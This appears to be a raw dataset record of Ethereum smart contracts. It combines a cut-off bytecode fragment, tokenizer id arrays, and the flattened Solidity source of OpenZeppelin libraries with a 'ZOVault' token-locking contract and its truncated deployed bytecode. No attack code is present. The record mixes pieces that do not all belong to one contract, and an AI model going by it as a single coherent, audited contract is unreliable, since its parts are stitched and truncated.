ff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600454905090565b60006107f084848461113d565b6108b1846107fc610f15565b6108ac8560405180606001604052806028815260200161179260289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610862610f15565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461150a9092919063ffffffff16565b610f1d565b600190509392505050565b6000600c60009054906101000a900460ff16905090565b600061097c6108e0610f15565b8461097785600360006108f1610f15565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e0790919063ffffffff16565b610f1d565b6001905092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610a2d610f15565b73ffffffffffffffffffffffffffffffffffffffff16610a4b611114565b73ffffffffffffffffffffffffffffffffffffffff1614610ad4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b610ae7610adf610f15565b6008546115c4565b565b6060600b8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b815780601f10610b5657610100808354040283529160200191610b81565b820191906000526020600020905b815481529060010190602001808311610b6457829003601f168201915b5050505050905090565b6000610c4e610b98610f15565b84610c49856040518060600160405280602581526020016118036025913960036000610bc2610f15565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461150a9092919063ffffffff16565b610f1d565b6001905092915050565b6000610c6c610c65610f15565b848461113d565b6001905092915050565b610c7e610f15565b73ffffffffffffffffffffffffffffffffffffffff16610c9c611114565b73ffffffffffffffffffffffffffffffffffffffff1614610d25576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600080828401905083811015610e85576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600080831415610ea25760009050610f0f565b6000828402905082848281610eb357fe5b0414610f0a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806117716021913960400191505060405180910390fd5b809150505b92915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fa3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806117df6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611029576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806117296022913960400191505060405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156111c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117ba6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611249576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806117066023913960400191505060405180910390fd5b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806112ea5750600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156113515760001515600960009054906101000a900460ff16151514611350576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526000815260200191505060405180910390fd5b5b61135c838383611700565b6113c88160405180606001604052806026815260200161174b60269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461150a9092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061145d81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e0790919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b60008383111582906115b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561157c578082015181840152602081019050611561565b50505050905090810190601f1680156115a95780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5082840390509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611667576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f45524332303a2063616e6e6f7420757365207a65726f2061646472657373000081525060200191505060405180910390fd5b6116b981600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e0790919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220c3bafc5bbe3685a6ce29646ae38b50953c8fa5041537d5072aa6879c7b10d40b64736f6c63430007060033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2581, 2620, 2509, 3401, 12740, 2629, 2278, 2692, 27009, 23777, 2497, 22275, 2509, 5243, 2575, 8586, 2581, 14728, 22025, 7959, 4215, 2629, 2497, 2692, 21486, 2683, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 14246, 2140, 1011, 1017, 1012, 1014, 1011, 2030, 1011, 2101, 10975, 8490, 2863, 5024, 3012, 1027, 1014, 1012, 1021, 1012, 1020, 1025, 12324, 1000, 1012, 1013, 6123, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 29464, 11890, 11387, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 3647, 18900, 2232, 1012, 14017, 1000, 1025, 3206, 15577, 11368, 22208, 3366, 2003, 6123, 1010, 2219, 3085, 1010, 29464, 11890, 11387, 1063, 2478, 3647, 18900, 2232, 2005, 21318, 3372, 17788, 2575, 1025, 12375, 1006, 4769, 1027, 1028, 21318, 3372, 17788, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,864
0x97851B52671C3CFDF6d9d2391Ec2cdc130E5267c
/** * ./contracts/ZOVault.sol */ ////// SPDX-License-Identifier-FLATTEN-SUPPRESS-WARNING: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * ./contracts/ZOVault.sol */ ////// SPDX-License-Identifier-FLATTEN-SUPPRESS-WARNING: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [////IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * ////IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * ./contracts/ZOVault.sol */ ////// SPDX-License-Identifier-FLATTEN-SUPPRESS-WARNING: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } /** * ./contracts/ZOVault.sol */ ////// SPDX-License-Identifier-FLATTEN-SUPPRESS-WARNING: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * ////IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * ./contracts/ZOVault.sol */ ////// SPDX-License-Identifier-FLATTEN-SUPPRESS-WARNING: MIT pragma solidity >=0.6.0 <0.8.0; ////import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * ./contracts/ZOVault.sol */ ////// SPDX-License-Identifier-FLATTEN-SUPPRESS-WARNING: MIT pragma solidity >=0.6.0 <0.8.0; ////import "./IERC20.sol"; ////import "../../math/SafeMath.sol"; ////import "../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } /** * ./contracts/ZOVault.sol */ ////// SPDX-License-Identifier-FLATTEN-SUPPRESS-WARNING: MIT pragma solidity ^0.6.0; ////import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; ////import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; ////import "@openzeppelin/contracts/math/SafeMath.sol"; ////import "@openzeppelin/contracts/access/Ownable.sol"; contract ZOVault is Ownable { using SafeERC20 for IERC20; using SafeMath for uint256; event Transfer(address indexed from, address indexed to, uint256 value); address immutable public zoToken; mapping(address=>WalletInfo) public wallet; struct WalletInfo{ uint256 balance; uint256 onceUnlock; uint256 unlockInterval; uint256 lastWithdrawTime; } constructor(address zo) public{ zoToken=zo; } function name() external pure returns(string memory){ return "ZO Vault"; } function symbol() external pure returns(string memory){ return "ZOv"; } function decimals() external pure returns(uint8){return 18;} function totalSupply() external view returns (uint256) { return IERC20(zoToken).balanceOf(address(this)); } function balanceOf(address user) external view returns(uint256){ return wallet[user].balance; } function lock(address to,uint256 amount,uint256 unlockTimes,uint256 lastWithdrawTime,uint256 unlockInterval) external onlyOwner { require(unlockInterval<90 days,"lock too long time"); require(unlockInterval>0,"invalid unlockInterval"); require(wallet[to].balance==0,"repeat lock"); require(amount>0,"amount is zero"); require(lastWithdrawTime<block.timestamp,"invalid time"); // transfer IERC20(zoToken).safeTransferFrom(msg.sender,address(this),amount); uint256 once=amount.div(unlockTimes); wallet[to]= WalletInfo({ balance:amount, onceUnlock: once, unlockInterval:unlockInterval, lastWithdrawTime:lastWithdrawTime }); emit Transfer(address(0),to,amount); } function withdraw() external{ _unlock(msg.sender); } function withdrawFor(address locker) external{ _unlock(locker); } /** * @notice withdraw all unlocked ZO Token for locker */ function _unlock(address locker) private { uint256 balance= balanceOfUnlock(locker); require(balance>0,"unlock amount is zero"); WalletInfo memory info = wallet[locker]; uint256 times=block.timestamp.sub(info.lastWithdrawTime).div(info.unlockInterval); wallet[locker].lastWithdrawTime=info.lastWithdrawTime + times.mul(info.unlockInterval); wallet[locker].balance= info.balance.sub(balance); IERC20(zoToken).safeTransfer(locker,balance); emit Transfer(locker,address(0),balance); } function balanceOfUnlock(address user) public view returns(uint256) { WalletInfo memory info = wallet[user]; if (info.balance==0){ return 0; } uint256 times=block.timestamp.sub(info.lastWithdrawTime).div(info.unlockInterval); uint256 amount=times.mul(info.onceUnlock); if (amount<info.balance){ return amount; }else{ return info.balance; } } }
0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c80637c759d0d1161008c57806395d89b411161006657806395d89b411461026c5780639eca672c14610274578063a56cc4391461029a578063f2fde38b146102e6576100ea565b80637c759d0d146102025780638d9cc484146102405780638da5cb5b14610264576100ea565b806339fa1fa6116100c857806339fa1fa6146101a45780633ccfd60b146101ca57806370a08231146101d4578063715018a6146101fa576100ea565b806306fdde03146100ef57806318160ddd1461016c578063313ce56714610186575b600080fd5b6100f761030c565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610131578181015183820152602001610119565b50505050905090810190601f16801561015e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017461032e565b60408051918252519081900360200190f35b61018e6103ce565b6040805160ff9092168252519081900360200190f35b610174600480360360208110156101ba57600080fd5b50356001600160a01b03166103d3565b6101d261049a565b005b610174600480360360208110156101ea57600080fd5b50356001600160a01b03166104a5565b6101d26104c0565b6101d2600480360360a081101561021857600080fd5b506001600160a01b03813516906020810135906040810135906060810135906080013561057e565b610248610847565b604080516001600160a01b039092168252519081900360200190f35b61024861086b565b6100f761087a565b6101d26004803603602081101561028a57600080fd5b50356001600160a01b0316610897565b6102c0600480360360208110156102b057600080fd5b50356001600160a01b03166108a3565b604080519485526020850193909352838301919091526060830152519081900360800190f35b6101d2600480360360208110156102fc57600080fd5b50356001600160a01b03166108cb565b6040805180820190915260088152671693c815985d5b1d60c21b602082015290565b60007f0000000000000000000000003b808db06074e1bae5dfe0d970dc7b891ee26cac6001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b15801561039d57600080fd5b505afa1580156103b1573d6000803e3d6000fd5b505050506040513d60208110156103c757600080fd5b5051905090565b601290565b60006103dd61102c565b50600160016